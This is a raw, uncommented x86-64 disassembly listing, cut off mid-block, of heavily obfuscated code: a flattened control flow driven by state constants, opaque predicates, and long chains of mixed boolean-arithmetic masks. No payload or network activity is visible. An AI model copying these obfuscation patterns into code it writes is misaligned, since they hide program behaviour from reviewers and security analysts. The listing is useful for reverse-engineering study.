cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov edx, ebx
xor dl, al
xor dl, 1
or cl, dl
or al, bl
xor al, 1
and dl, bl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
and dl, cl
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test al, 1
mov eax, 0x7a6aa239
mov ebp, 0xce738742
cmovne eax, ebp
test bl, bl
mov edx, 0x7a6aa239
jmp 0x1400c35df
cmp ecx, 0x3967c925
je 0x1400cadf6
jmp 0x1400bca50
cmp ecx, 0x5457f1e3
jg 0x1400c02f0
cmp ecx, 0x52fc718f
jg 0x1400c20b8
cmp ecx, 0x529e72af
je 0x1400c5962
cmp ecx, 0x52d1d47b
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov r9d, dword [0x14024b724]
lea eax, [rdx - 1]
imul eax, edx
mov ecx, eax
not ecx
mov ebx, eax
xor ebx, 0xfffffffe
and ebx, eax
mov edx, eax
or edx, 1
mov edi, ebx
not edi
mov esi, edx
and esi, 0xf7891e2a
mov ebp, ecx
and ebp, 0x876e1d4
or ebp, esi
or edx, edi
and edi, 0xf7891e2a
and ebx, 0x876e1d5
or ebx, edi
xor ebx, ebp
not edx
or edx, ebx
not edx
and ecx, 0x28485560
and eax, 0xd7b7aa9f
or eax, ecx
xor eax, 0xd7b7aa9f
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x699464d8
and eax, 0x966b9b27
or eax, ecx
xor eax, 0x966b9b27
setne r8b
sete r10b
cmp r9d, 9
setg al
cmp r9d, 0xa
setl r9b
mov ecx, r10d
xor cl, r8b
and cl, r10b
mov ebx, ecx
xor bl, 1
or cl, bl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov ebx, ecx
or bl, r9b
xor cl, r9b
not cl
and cl, r9b
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
or r9b, r10b
xor al, r8b
xor al, 1
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0xef50eb5
mov ebp, 0xf00374dd
cmovne eax, ebp
test bl, 1
mov edx, 0xef50eb5
jmp 0x1400c35df
cmp ecx, 0x191a42aa
jg 0x1400c032a
cmp ecx, 0x13f4c1f5
jg 0x1400c20e6
cmp ecx, 0x1162a375
je 0x1400c5a93
cmp ecx, 0x12a9afb0
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x10f785af
and ecx, 0xef087a50
or ecx, edx
mov ebx, ecx
xor ebx, 0x1093018c
mov esi, ecx
xor esi, 0xef087a50
or ebx, 0xae6cd663
mov edi, ebx
not edi
mov ebp, esi
or ebp, 0x5193299c
mov edx, ebp
not edx
and ebx, 0x43fe5b5a
and edi, 0x10012084
or edi, ebx
and ebp, 0x43fe5b5a
and edx, 0xac008421
or edx, ebp
xor edx, edi
mov ebp, edx
not ebp
and ebp, 0x58b51dd7
and edx, 0xa74ae228
or edx, ebp
mov ebx, edx
xor ebx, 0x56c1c230
and esi, 1
xor ecx, 0xef087a51
or ecx, esi
mov ebp, ecx
not ebp
and ebp, 0x152ea3f6
and ecx, 0xead15c09
or ecx, ebp
mov ebp, ecx
xor ebp, 0x4ac15008
xor ecx, 0x152ea3f6
xor edx, 0x926344a
mov edi, edx
and edi, 0xa01e2d85
and ebx, 0x5fe1d27a
or ebx, edi
or edx, ecx
and ecx, 0xa01e2d85
and ebp, 0x5fe1d27a
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ecx, edx
not ecx
and edx, 0xa79dd206
and ecx, 0x58622df9
or ecx, edx
xor ecx, 0xa79dd206
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, dl
mov ebx, eax
xor bl, r8b
and bl, al
or dl, r9b
xor dl, 1
or cl, r8b
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, 1
mov r8d, edx
and r8b, bl
xor dl, al
and al, cl
or al, r8b
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x9bb04766
mov ebp, 0x78d69ac2
cmovne edx, ebp
test cl, 1
mov ecx, 0x9bb04766
cmovne ecx, edx
jmp 0x1400c8868
cmp ecx, 0x75300e7e
jg 0x1400c047e
cmp ecx, 0x72c482b5
jg 0x1400c2202
cmp ecx, 0x71740e3e
je 0x1400c5c9d
cmp ecx, 0x727d3369
jne 0x1400bca50
mov ecx, 0x30aba05
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x4f6f7845
jg 0x1400c061a
cmp ecx, 0x4ea8e1db
jg 0x1400c2320
cmp ecx, 0x4da46998
je 0x1400c5cb3
cmp ecx, 0x4dc8d516
jne 0x1400bca50
mov ecx, 0xf23375e2
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xd1b3b87
jg 0x1400c0847
cmp ecx, 0xc16bfda
jg 0x1400c234e
cmp ecx, 0x9b0c3e2
je 0x1400c5cdd
cmp ecx, 0xa5123f8
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov esi, edx
mov ebp, edx
xor ebp, 0xd3e2c3e2
and ebp, edx
not edx
mov ebx, edx
and ebx, 0xf9ff36e8
and esi, 0x600c917
or esi, ebx
mov ebx, esi
xor ebx, 0xc002
xor esi, 0xd1e202e0
or esi, 0x2c1d3c1d
mov edi, ebp
not edi
mov ecx, esi
and ecx, 0x7f9923b1
and ebx, 0x8062c042
or ebx, ecx
or esi, edi
and edi, 0x7f9923b1
and ebp, 0x8066dc4e
or ebp, edi
xor ebp, ebx
not esi
or esi, ebp
mov ebp, esi
not ebp
and ebp, 0x5d88e0c8
and esi, 0xa2771f37
or esi, ebp
mov ecx, esi
xor ecx, 0x21945004
xor esi, 0x8a020301
and esi, 0xda038fd1
and ecx, 0x25fc702e
or ecx, esi
xor ecx, 0x25fc702e
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x3f192185
and ecx, 0xc0e6de7a
or ecx, edx
xor ecx, 0xc0e6de7a
sete r9b
setne r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, eax
xor dl, bl
and dl, al
xor dl, r8b
xor bl, r9b
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, ecx
and bl, al
mov r8d, ebx
and r8b, cl
xor bl, cl
or bl, r8b
xor bl, dl
xor bl, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0x3ff06ace
mov eax, 0x519ce97f
cmovne ecx, eax
test bl, 1
cmove ecx, eax
test dl, 1
mov eax, 0x3ff06ace
jmp 0x1400ca6f6
cmp ecx, 0x6d619baf
jg 0x1400c0881
cmp ecx, 0x69f6368a
jg 0x1400c236b
cmp ecx, 0x68f66001
je 0x1400c5e0c
cmp ecx, 0x693a2996
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x84cf68f6
and edx, ecx
and ecx, 0x7b309709
or ecx, ebp
xor ecx, 0x7b309709
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov esi, ecx
not esi
mov ebx, ecx
or ebx, 0x82a8e0d0
mov edi, ebx
not edi
mov edx, esi
or edx, 0x7d571f2f
mov ebp, edx
not ebp
and ebx, 0x86b77727
and edi, 0x79400808
or edi, ebx
and edx, 0x86b77727
and ebp, 0x880d0
or ebp, edx
xor ebp, edi
mov edx, ebp
not edx
and edx, 0xcd8ee566
and ebp, 0x32711a99
or ebp, edx
xor ebp, 0x4f2605b7
and esi, 1
xor ecx, 0xfffffffe
or ecx, esi
not ecx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x6000000f
mov ebp, ecx
and ebp, 0x14108a40
or ebp, edx
xor ebp, 0x14108a40
and ecx, 0x8bef75b0
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x8bef75b0
and ecx, 0x74108a4f
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x3c31597f
and ecx, 0xc3cea680
or ecx, ebp
xor ecx, 0xc3cea680
or ecx, edx
cmp ecx, 0xffffffff
setne cl
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
xor al, dl
and dl, al
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xdc6b73ad
mov eax, 0xb4b71158
cmovne ecx, eax
test dl, dl
cmove ecx, eax
not bl
test bl, 1
mov eax, 0xdc6b73ad
jmp 0x1400ca4f3
cmp ecx, 0x8e71e4d5
jg 0x1400c09dc
cmp ecx, 0x8d476256
jg 0x1400c246a
cmp ecx, 0x8cb16991
je 0x1400c5f77
cmp ecx, 0x8cc64c67
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
or edx, 0xc7066930
mov ebx, edx
not ebx
or ebp, 0x38f996cf
mov ecx, ebp
not ecx
and edx, 0x6b3e50a8
and ebx, 0x10c18647
or ebx, edx
and ebp, 0x6b3e50a8
and ecx, 0x84002910
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xaf0c8d34
and ecx, 0x50f372cb
or ecx, edx
mov ebp, ecx
xor ebp, 0x680ae404
xor ecx, 0x97f51bfb
mov ebx, ecx
and ebx, 0x35b2a36f
mov edx, ebp
and edx, 0xca4d5c90
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x64bea10b
and edx, 0x9b415ef4
or edx, ebx
xor edx, 0xaef3fd9a
and ebp, 0x8594330b
mov ebx, ecx
and ebx, 0x7a6bccf4
or ebx, ebp
xor ebx, 0x8594330a
and ecx, 1
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0xa2616e15
and ecx, 0x5d9e91ea
or ecx, ebp
xor ecx, 0x5d9e91ea
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x19822822
mov ebp, ecx
and ebp, 0x6204c79c
or ebp, edx
xor ebp, 0x6204c79c
and ecx, 0x84791041
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x1f9ade9c
and ecx, 0xe0652163
or ecx, edx
xor ecx, 0x9be3cedd
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
and bl, r8b
or cl, bl
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x9b97863d
mov ebp, 0x8b216164
jmp 0x1400bf794
cmp ecx, 0xd07d6d60
jg 0x1400c0a16
cmp ecx, 0xcf41534e
jg 0x1400c2498
cmp ecx, 0xce738742
je 0x1400c6098
cmp ecx, 0xce8d0a66
jne 0x1400bca50
mov ecx, 0x62c34e40
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xb1a5bdc6
jg 0x1400c0a50
cmp ecx, 0xadc5b0cd
jg 0x1400c25f9
cmp ecx, 0xaccfccd0
je 0x1400c60ae
cmp ecx, 0xaceb094f
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2157ec82
and edx, 0xdea8137d
or edx, ecx
mov ebp, edx
xor ebp, 0x58000059
xor edx, 0x20440802
and edx, 0xa6ec1b26
and ebp, 0x5913e4d9
or ebp, edx
mov edi, ebp
xor edi, 0x4e01806
xor ebp, 0x5913e4d9
mov ecx, ebp
and ecx, 0xf30e67f8
and edi, 0xcf19807
or edi, ecx
mov ecx, edi
xor ecx, 0xcf19807
mov edx, edi
xor edx, 0x3d19b5f6
and edx, ecx
or ebp, 0xce17d20e
mov esi, ebp
not esi
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0x70cf28fa
and edx, 0x8f30d705
or edx, eax
or ebx, ebp
and ebp, 0x70cf28fa
and esi, 0x1200501
or esi, ebp
xor esi, edx
not ebx
or ebx, esi
mov eax, ebx
not eax
and eax, 0x17cd977a
and ebx, 0xe8326885
or ebx, eax
xor ebx, 0x2625ba8a
xor edi, 0x720a0748
and edi, 0x722a9f4e
mov eax, ecx
and eax, 0x8dd560b1
or eax, edi
xor eax, 0x722a9f4f
and ecx, 1
or ecx, eax
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xdba87ef
and edx, ecx
not ecx
and ecx, 0x922064c
and eax, 0x49881a3
or eax, ecx
xor eax, 0x49881a3
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x534b306a
and edx, 0xacb4cf95
or edx, eax
xor edx, 0xa10e487a
sete r10b
setne r11b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r9b
mov ebx, r11d
xor bl, r10b
and bl, r11b
mov eax, ebx
xor al, 1
or bl, al
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
xor bl, r9b
mov r8d, ebx
xor r8b, 1
mov edx, ecx
xor dl, r10b
and dl, cl
and r11b, r9b
and cl, r10b
or cl, r11b
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
xor dl, 1
and cl, dl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov r10d, ecx
xor r10b, 1
mov eax, ebx
and al, r8b
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
mov edx, eax
xor dl, 1
and dl, r10b
and al, cl
or al, dl
xor r10b, bl
or cl, r8b
xor cl, 1
or cl, r10b
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x8cc64c67
mov ebp, 0x64568601
cmovne edx, ebp
test cl, 1
mov ecx, 0x8cc64c67
jmp 0x1400c5f6d
cmp ecx, 0xf24c2999
jg 0x1400c0a9e
cmp ecx, 0xf1c9a4ec
jg 0x1400c274d
cmp ecx, 0xf00374dd
je 0x1400c60c4
cmp ecx, 0xf10db35d
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov edi, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x20000170
mov ebp, ecx
and ebp, 0x8460a80
or ebp, edx
xor ebp, 0x8460a80
and ecx, 0xd7b9f40f
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xd4528c52
and ecx, 0x2bad73ad
or ecx, edx
mov edx, ecx
xor edx, 0x3eb785d
mov ebp, ecx
xor ebp, 0x3eb785c
and ebp, edx
xor ecx, 0x7c100320
and ecx, 0x7d93437d
and edx, 0x826cbc82
or edx, ecx
xor edx, 0x826cbc83
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
xor ecx, 0xcad8e7dd
and ecx, edx
not edx
and edx, 0xcad8e7dd
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x6eeabdb1
and ecx, 0x9115424e
or ecx, edx
mov edx, ecx
xor edx, 0x1a84a091
xor ecx, 0xa0125a20
and edx, 0x1ea4a0dd
and ecx, 0xe15b5f22
or ecx, edx
xor ecx, 0xe15b5f22
sete cl
setne bl
cmp edi, 9
setg al
cmp edi, 0xa
setl dl
mov r9d, edx
xor r9b, bl
mov r8d, r9d
xor r8b, 1
and bl, dl
or dl, cl
xor dl, 1
and al, cl
or al, bl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, r9d
and dl, r8b
mov ebx, eax
and bl, cl
xor r9b, dl
xor dl, 1
or dl, r8b
xor dl, 1
or dl, r9b
mov r9d, eax
and r9b, bl
xor bl, al
or bl, r9b
mov eax, edx
xor al, 1
and al, bl
xor bl, 1
and bl, dl
or bl, al
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x2308e2fd
mov edx, 0xe4932971
cmovne eax, edx
test cl, 1
mov ecx, 0x2308e2fd
jmp 0x1400ca5e3
cmp ecx, 0x89311b36
jg 0x1400c0ad8
cmp ecx, 0x88255284
jg 0x1400c2833
cmp ecx, 0x87515303
je 0x1400c625c
cmp ecx, 0x87764407
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0xfb7f4a4
mov edx, edi
and edx, 0xf0480b5a
or edx, ebp
xor edx, 0xf0480b5a
mov ebx, edi
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0xad951b37
and ebx, 0x526ae4c8
or ebx, ebp
and edi, 0xad951b37
and ecx, 0x526ae4c8
or ecx, edi
xor ecx, ebx
xor edx, ecx
test edx, ecx
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov r9d, edx
and r9b, al
mov ebx, r8d
and bl, cl
or bl, r9b
xor al, bl
and al, bl
or dl, r8b
xor dl, 1
xor cl, r8b
and cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
xor al, cl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x62c34e40
mov ebp, 0xce8d0a66
cmovne edx, ebp
test cl, 1
mov ecx, 0x62c34e40
jmp 0x1400c5f6d
cmp ecx, 0xcce88381
jg 0x1400c0c04
cmp ecx, 0xcc5aeeb3
jg 0x1400c2934
cmp ecx, 0xc7665034
je 0x1400c6277
cmp ecx, 0xc8a5ac2c
jne 0x1400bca50
mov ecx, 0x72c482b6
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xa6368b62
jg 0x1400c0c3e
cmp ecx, 0xa3e65820
jg 0x1400c2a1a
cmp ecx, 0xa3909537
je 0x1400c635d
cmp ecx, 0xa3b367b7
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xcc8485f2
mov edx, ebp
xor edx, 0xcc8485f2
and edx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xff03c828
and edx, 0xfc37d7
or edx, ebx
mov ebx, edx
xor ebx, 0x40283220
xor edx, 0x33874ddb
mov edi, edx
and edi, 0x9cd48844
and ebx, 0x632b77bb
or ebx, edi
and ebp, 0x9cd48844
and ecx, 0x632b77bb
or ecx, ebp
xor ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
xor cl, 1
or cl, al
and bl, r8b
and al, dl
or al, bl
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
mov ecx, 0xc6833d5a
mov ebp, 0x9ba024da
cmovne ecx, ebp
test al, al
mov eax, ecx
mov ebp, 0xc6833d5a
cmovne eax, ebp
test dl, dl
jmp 0x1400c6254
cmp ecx, 0xe7c08b38
jg 0x1400c0e0e
cmp ecx, 0xe63f5bd6
jg 0x1400c2b38
cmp ecx, 0xe4767d07
je 0x1400c64ef
cmp ecx, 0xe4932971
jne 0x1400bca50
mov ecx, dword [0x14024b728]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x2a281700
mov ebp, eax
and ebp, 0x8003c810
or ebp, edx
xor ebp, 0x8003c810
and eax, 0x55d420ef
or eax, ebp
mov edx, eax
not edx
and edx, 0x55d420ee
and eax, 0xaa2bdf11
or eax, edx
mov edx, eax
not edx
and edx, 0x11fa78f8
and eax, 0xee058707
or eax, edx
xor eax, 0xee058707
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
cmp eax, 0xffffffff
setne al
sete cl
cmp dword [0x14024b724], 9
setg dl
xor cl, dl
and cl, dl
xor al, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
mov edx, 0x9f43df1c
mov ebp, 0x80672a2e
cmovne edx, ebp
test cl, cl
mov ecx, 0x9f43df1c
cmovne ecx, edx
jmp 0x1400c8868
cmp ecx, 0x2d01aee5
jle 0x1400c0f30
cmp ecx, 0x2ef2d511
jg 0x1400c2d07
cmp ecx, 0x2d01aee6
je 0x1400c6505
cmp ecx, 0x2d1d92ff
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov r9d, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xb3eef742
and ecx, edx
and edx, 0x4c1108bd
or edx, ebp
mov ebp, edx
xor ebp, 0x481100b8
xor edx, 0xb3eef742
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x2700f807
and ebp, 0xd8ff07f8
or ebp, edi
or edx, ebx
and ebx, 0x2700f807
and ecx, 0xd8ff07f8
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xe4d98ed3
mov ecx, edx
xor ecx, 0xe4d98ed3
and ecx, edx
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x1b26712d
and ecx, 0xe4d98ed2
or ecx, ebp
and edx, 0x96c4dbc2
mov ebx, eax
and ebx, 0x693b243d
or ebx, edx
xor ebx, 0x96c4dbc3
and eax, 1
or eax, ebx
mov esi, eax
not esi
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xe66fea4b
and ecx, 0x199015b4
or ecx, ebp
or edx, eax
and eax, 0xe66fea4b
and esi, 0x199015b4
or esi, eax
xor esi, ecx
not edx
or edx, esi
mov eax, edx
mov ecx, edx
xor ecx, 0xce0761fc
and ecx, edx
not edx
and edx, 0x80500d4
and eax, 0xc6026128
or eax, edx
xor eax, 0xc6026128
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x31f89e03
and ecx, 0xce0761fc
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xf6dd805a
and ecx, 0x9227fa5
or ecx, edx
xor ecx, 0xf6dd805a
xor eax, ecx
test eax, ecx
sete r8b
setne dl
cmp r9d, 0xa
setl sil
cmp r9d, 9
setg r9b
mov ebx, r9d
xor bl, sil
and bl, r9b
mov r10d, edx
xor r10b, r8b
and r10b, dl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov r11d, eax
xor r11b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r11b
or al, bl
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov ecx, r10d
xor cl, 1
mov ebx, ecx
and bl, r10b
mov edx, ebx
xor dl, 1
xor bl, r10b
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, dl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
xor bl, al
mov r10d, ebx
xor r10b, 1
mov eax, r9d
xor al, r8b
and al, r9b
xor sil, r8b
xor al, 1
xor sil, 1
mov ecx, eax
xor cl, sil
or sil, al
xor sil, 1
or sil, cl
mov eax, esi
xor al, 1
mov ecx, eax
and cl, sil
xor al, cl
xor cl, 1
or cl, sil
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, r10b
or r10b, al
and al, bl
or al, cl
mov edx, r10d
xor dl, al
test al, 1
mov ecx, 0x429c4c6b
mov ebp, 0xc46ba55c
cmovne ecx, ebp
test r10b, 1
mov eax, 0x429c4c6b
jmp 0x1400c1578
cmp ecx, 0x5b5ce7cf
jg 0x1400c2d41
cmp ecx, 0x581354ff
je 0x1400c66e3
cmp ecx, 0x5b4bec68
jne 0x1400bca50
mov ecx, dword [0x14024b728]
lea eax, [rcx - 1]
imul eax, ecx
mov edx, eax
not edx
mov ebp, eax
xor ebp, 0xb4056b56
and ebp, eax
mov ecx, edx
and ecx, 0xb4056b56
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0xb4056b57
and ecx, 0x4bfa94a8
or ecx, ebp
and edx, 0x69154275
mov ebp, eax
and ebp, 0x96eabd8a
or ebp, edx
xor ebp, 0x69154274
and eax, 1
or eax, ebp
mov edx, eax
not edx
and edx, 0x85f134a9
and eax, 0x7a0ecb56
or eax, edx
mov ebp, eax
xor ebp, 0x4204c040
mov edx, ecx
not edx
xor eax, 0x85f134a9
mov ebx, edx
and ebx, 0xbcfa2b9f
and ecx, 0x4305d460
or ecx, ebx
or edx, eax
and eax, 0xbcfa2b9f
and ebp, 0x4305d460
or ebp, eax
xor ebp, ecx
not edx
or edx, ebp
mov eax, edx
mov ecx, edx
xor ecx, 0x654a33fe
and ecx, edx
not edx
and edx, 0x90c63ee7
and eax, 0x6f39c118
or eax, edx
mov edx, eax
xor edx, 0x21000008
xor eax, 0x4232e6
or eax, 0x9ab5cc01
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0xde58b171
and edx, 0x2102028e
or edx, ebx
or eax, ebp
and ebp, 0xde58b171
and ecx, 0x21a74e8e
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x20c3796a
and eax, 0xdf3c8695
or eax, ecx
xor eax, 0xba76b56b
sete r8b
setne al
cmp dword [0x14024b724], 0xa
setl dl
mov ebx, edx
xor bl, al
not bl
and bl, al
or al, dl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, edx
or cl, r8b
xor dl, r8b
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
and al, dl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x191a42ab
mov ebp, 0xcd17f687
cmovne edx, ebp
test al, al
cmove edx, ebp
not cl
test cl, 1
mov eax, 0x191a42ab
jmp 0x1400c5e04
cmp ecx, 0x22884e16
jg 0x1400c2d6f
cmp ecx, 0x1cdad6a5
je 0x1400c68ce
cmp ecx, 0x1d8a9b92
jne 0x1400bca50
mov eax, dword [0x14024b728]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x1ffbc6ce
and ecx, 0xe0043931
or ecx, eax
mov eax, ecx
not eax
and eax, 0x4269c2fa
and ecx, 0xbd963d05
or ecx, eax
mov edx, ecx
xor edx, 0xa26dfbcb
mov ebp, ecx
xor ebp, 0xa26dfbca
and ebp, edx
xor ecx, 0x45000020
and ecx, 0x656de963
and edx, 0x9a92169c
or edx, ecx
mov ecx, edx
xor ecx, 0x8212160c
mov eax, ebp
not eax
xor edx, 0x656de962
mov ebx, eax
and ebx, 0x1cad6091
and ebp, 0xe3529f6e
or ebp, ebx
or eax, edx
and edx, 0x1cad6091
and ecx, 0xe3529f6e
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xe4011000
and eax, 0x8122b02
or eax, ecx
mov ebp, eax
xor ebp, 0x102b02
xor eax, 0xe0c19451
or edx, 0xec133b02
mov ecx, edx
not ecx
and eax, 0xe8c39451
and ebp, 0x4102b02
or ebp, eax
and edx, 0xe8c39451
and ecx, 0x132c40ac
or ecx, edx
xor ecx, ebp
mov eax, ecx
not eax
and eax, 0x3d139d0f
and ecx, 0xc2ec62f0
or ecx, eax
xor ecx, 0x2eff59f2
sete al
cmp dword [0x14024b724], 9
setg cl
xor al, cl
xor cl, al
and cl, al
mov edx, eax
xor dl, cl
xor cl, 1
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0xd752a7ba
mov ebp, 0x519ce97f
cmovne ecx, ebp
test dl, dl
cmovne ecx, ebp
not al
test al, 1
mov eax, 0xd752a7ba
jmp 0x1400ca6f6
cmp ecx, 0x78d69ac1
jg 0x1400c2eb2
cmp ecx, 0x773073bb
je 0x1400c69d2
cmp ecx, 0x7822c2c6
jne 0x1400bca50
mov edx, dword [0x14024b728]
